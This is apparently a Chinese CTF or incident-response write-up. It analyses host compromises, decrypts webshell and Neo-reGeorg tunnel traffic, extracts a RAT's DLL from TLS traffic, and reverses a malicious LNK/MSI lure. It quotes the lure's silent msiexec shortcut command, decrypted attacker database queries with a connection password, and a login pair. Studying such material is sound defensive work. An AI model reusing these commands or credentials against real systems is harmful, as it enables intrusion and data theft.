# 应急
# 应急 1
Administrator/P@ssword

查看可疑进程 a.exe
36.50.226.121
# 应急 2


C:\Windows 下有一个 svchost.exe ,正常的系统文件应该是在 C:\Windows\System32 目录下
# 应急 3

搜索 exe 程序,发现 f.exe ,可以根据同目录下的 results.txt 推断是 fscan


# 应急 4

查看系统日志,存在 sqlserver 爆破行为
192.168.88.12
# 谁知盘中餐
L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg
# 谁知盘中餐 - 1


一共两个 aspx,一个流量数据
流量数据访问了这两个 URL,答案是其中之一
# 谁知盘中餐 - 2

Template.aspx 中找到 key 和 iv 的读取方式
GetStr() 及相关函数的实现部分
分析逻辑,实际上是取数组 xs 的内容,然后对字母做移位 -3 位处理

# 谁知盘中餐 - 3

编写解密 Template.aspx 流量脚本
请求数据格式如下,其中 loginCa 字段是有效数据
GetStr(6) 对应 loginCa
数据解密部分
关键函数 RD()
先做一次 b64decode,如果开头是 sign: ,则将后面的内容反转后再 b64decode,不断循环
def RD(data): | |
tmp = base64.b64decode(data) | |
while tmp.startswith(b'sign:'): | |
tmp = base64.b64decode(tmp[5:][::-1]) | |
return tmp |
其次是 AES 解密
from Crypto.Cipher import AES | |
key, iv = b'79bec9b8470119f5', b'9220dc6228514959' | |
cipher = AES.new(key, AES.MODE_CBC, iv) | |
data = cipher.decrypt(sdata) |

此时虽然大部分都是不可见字符,但是头尾都有一些规律
如果熟悉数据的头部 1f8b 可知是 gz 格式的文件头,或者可以尝试用 cyberchef 分析

如果用 python 解压 gzip 数据流,需要去掉 AES 加密的填充字节
import gzip | |
from Crypto.Cipher import AES | |
from Crypto.Util.Padding import unpad | |
key, iv = b'79bec9b8470119f5', b'9220dc6228514959' | |
cipher = AES.new(key, AES.MODE_CBC, iv) | |
sdata = cipher.decrypt(sdata) | |
plaintext = unpad(sdata, AES.block_size) | |
data = gzip.decompress(plaintext) |
最终解密的数据
# 3号数据包 | |
dbUsername dish | |
execSql SELECT * FROM `dish`.`card` LIMIT 0,10 | |
dbType mysql | |
methodName execSql | |
dbCharset UTF-8 | |
sessionId bf405e2fd97cddd3 | |
execType select | |
connectString server=127.0.0.1;port=3301;uid=dish;pwd=Sovell$))!79959;database=dish; | |
dbPassword Sovell$))!79959 | |
dbDriver MySql.Data.MySqlClient.MySqlConnection |
# 4号数据包 | |
destFileName D:/sovell2/api/ExcelTemplate/Template.aspx | |
methodName moveFile | |
sessionId 99eb31ed466a5e42 | |
srcFileName D:/sovell2/api/ExcelTemplate/1111.xls.aspx |
# 谁知盘中餐 - 5
4 的题目没截图

解密 Global.aspx 流量
解密逻辑比较明显,首先进行 FromBase64String() ,然后 blv_decode()
但是这里的 FromBase64String() 是自定义函数
用 python 重写
en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
de = "o5n/OZUfAMhHmcyXK9wD1uvgdEQ64sBGlbTxqLRC2+YJk3zj8trWNVIiSe7pFPa0" | |
dec_dict = {ord(de[i]): en[i] for i in range(len(de))} | |
def from_base64_string(b64str): | |
b64str = b64str.decode() | |
b64str = b64str[1:].replace(",", "+").replace(".", "/").replace("}", "=") | |
b64str = padding(b64str) | |
b64str = b64str.translate(dec_dict) | |
return base64.b64decode(b64str) |
重写 blv_decode() 函数
info_dict = { | |
1: 'DATA', | |
2: 'CMD', | |
3: 'MARK', | |
4: 'STATUS', | |
5: 'ERROR', | |
6: 'IP', | |
7: 'PORT', | |
8: 'REDIRECTURL', | |
9: 'FORCEREDIRECT' | |
} | |
def blv_decode(data): | |
i = 0 | |
info = {} | |
while i < len(data): | |
b = data[i] | |
i += 1 | |
l = int.from_bytes(data[i:i+4]) - 257191907 | |
i += 4 | |
v = data[i:i+l] | |
i += l | |
if b > 1 and b <= 9: | |
info[info_dict[b]] = v.decode() | |
else: | |
info[b] = v | |
return info |
解密请求数据可得到
{ | |
0: b'MaksLUs8rQwmUxvbqQ2MTr6lwPz3pujuxpo4pVfYXmqhdSbB4xTBQYw3A4KC90F6fz2RJIw0SYzw3i84yaJ9R6yqAZKp7pXAIp47qpLB40OZ2aLjBVA3GHaS0vBxMcH2Ae5sb5QEHAz399wxG5bbQQa7rSvPlJtUySODBcZCC', | |
'CMD': 'CONNECT', | |
'MARK': '4m.OtmDqNmWd3c', | |
'IP': '10.148.254.17', | |
'PORT': '6100', | |
39: b'E9tJC4vjxCzlbjZmnWjO5MDFrOmaVAs0LtP7KTwmJmnCEUzLp9QASBKWWXWSkNqVroRP0YMACYTs8v1lSFqxqMNKR0vgNbccLPcyCaD9p6iNwEzf8a2mDuC7lyUKXRlP5ZSBDub9Ryi39V45x3Rik0KnkQWEtSU7T7gW8RoZrHf4ura6zjJLYlN1WSOMBFTIHNdPraFwG3uRDff' | |
} |
其中 0 和 39 是占位数据,没用
对应的响应数据是 OK
# RAT_TRACER

附件有一个流量包和一个 .p12 证书文件,打开流量包发现都是 TLS 协议,需要提取对应密钥
通过 openssl 提取私钥,提示输入密码时直接回车
openssl pkcs12 -in ST.p12 -nocerts -out private.key -nodes |
在 Wireshark 中配置密钥,编辑 - 首选项 - Protocol-TLS
先删除红框部分的 SSL Log
编辑 RSA keys list,添加刚才导出的私钥
点击确定后就能解密 TLS 流量,翻找到存在一些明文数据的数据包,追踪 TCP 流
观察发现这里存在很多个 1f8b 的 gzip 文件头,追踪流查看
看到头部前还有几字节的数据,与末尾的长度对应

去掉头部的长度后可以 gzip 解压
(或者) 可以全部导出后用 binwalk 提取
binwalk -e extract.bin |
提取的 70 号文件对应这个流量的数据(binwalk 已经自动解压)
解压第一层后,其中是一个 msgpack 格式数据,用 python 解包(cyberchef 不行)
import msgpack | |
data = open('extract.bin', 'rb').read() | |
obj = msgpack.unpackb(buffer, raw=True) | |
print(obj.keys()) | |
print(obj[b'Msgpack'][:100]) | |
print(obj[b'Msgpack'][-100:]) |
解包后有三个字段,其中 Msgpack 字段的数据又是一个 gzip 压缩数据
去掉头部 4 字节长度,解压缩 + 解包
data2 = gzip.decompress(obj[b'Msgpack'][4:]) | |
obj2 = msgpack.unpackb(data2, raw=True) | |
print(obj2.keys()) | |
print(obj2[b'File'][:100]) |

四个字段,其中 File 字段又是一个 gzip 压缩数据
再次提取,解压,得到一个 jpg 文件
data3 = gzip.decompress(obj2[b'File'][4:]) | |
print(data3[:100]) |

查看文件,应该是一个正常的 JPG
找到流量中第二个大段传输的数据,用相同的方法 gzip 解压 + msgpack 解包
解第一层后仍然是一个嵌套
解第二层,得到真正的 dll 文件
data4 = gzip.decompress(buffer[4:]) | |
obj4 = msgpack.unpackb(data4, raw=True) | |
print(obj4.keys()) | |
# print(obj4[b'Dll'][:100]) | |
data5 = gzip.decompress(obj4[b'Dll'][4:]) | |
print(data5[:100]) |

IDA 打开,提示可能是.NET 的 dll
改用 dnSpy 打开,里面代码有混淆
搜索 AES
查找这个函数的调用

找到 key 和 iv,根据代码判断应该就是这个地方,但是不知道对不对
# 客服小可

附件压缩包打开查看
查看快捷方式属性
C:\WINDOWS\system32\cmd.exe /c msiexec.exe /qn /i 获奖作品.zip TRANSFORMS=个人荣誉证明.zip && timeout /t 1 /nobreak && start winword /f C:\Users\Public\1.docx |
恶意文件是 msi installer 格式
根据快捷方式执行的命令, 获奖作品.zip 是一个 msi 安装包, 个人荣誉证明.zip 是附加组件
用 orca 打开分析, CustomAction 表中新增一项,调用了 WixUI_Bmp_Down 的 Init 函数
提取对应的文件,IDA 打开分析

其中有释放文件操作,对应了三段硬编码数据
提取数据保存
base = 0x180041f20 | |
with open(r'shellcode', 'wb') as f: | |
f.write(idc.get_bytes(base, 240354)) | |
base = 0x18001a520 | |
with open(r'shellcode0', 'wb') as f: | |
f.write(idc.get_bytes(base, 162304)) | |
base = 0x180001000 | |
with open(r'shellcode_func', 'wb') as f: | |
f.write(idc.get_bytes(base, 196)) |
第一段数据是 word 文件格式,经过分析是正常文件
第二段和第三段数据经过了加密,无法静态提取
第二段数据在 Init 函数执行解密后写入到文件 C:\Users\Public\OneDrive.exe ,在虚拟机中运行后可以复制出
第三段数据需要动态调试下断点查看

运行完红框部分的解密流程后,查看 BaseAddress(0xCC0000) ,长度 0xc4(196)
通过快捷键 c 转换为汇编代码,可以看到实际上是执行了刚才释放的 OneDrive.exe
OneDrive.exe 直接运行后会有一个 cmd 窗口输出 Good!!!
微步沙箱分析没有网络连接的结果,提示有反逆向功能

ida 打开 OneDrive.exe 分析,搜索字符串 Good!!! 找到对应函数
同时可以看到函数后续还有很多字节交换的操作
尝试动态调试,发现在调用输出 Good 的函数后程序就退出了,应该是反调试或者需要某些条件才会触发 C2 连接
重新调试,在调用 177CC0 函数之前直接设置 RIP 到下一行,直接走后续的数据解密流程
在 CreateThread 创建线程之前翻找一下内存,可以看到 RAX 已经指向了解密出来的 shellcode 的地址
双击跳转查看,按快捷键 C 成功转换成汇编
往下翻可以看到 winhttp 等字符串
继续往下找可以看到有字节数据,存放了 C2 通信地址
继续往下调试,创建进程后可以监控到进程连接了 C2 地址
简单总结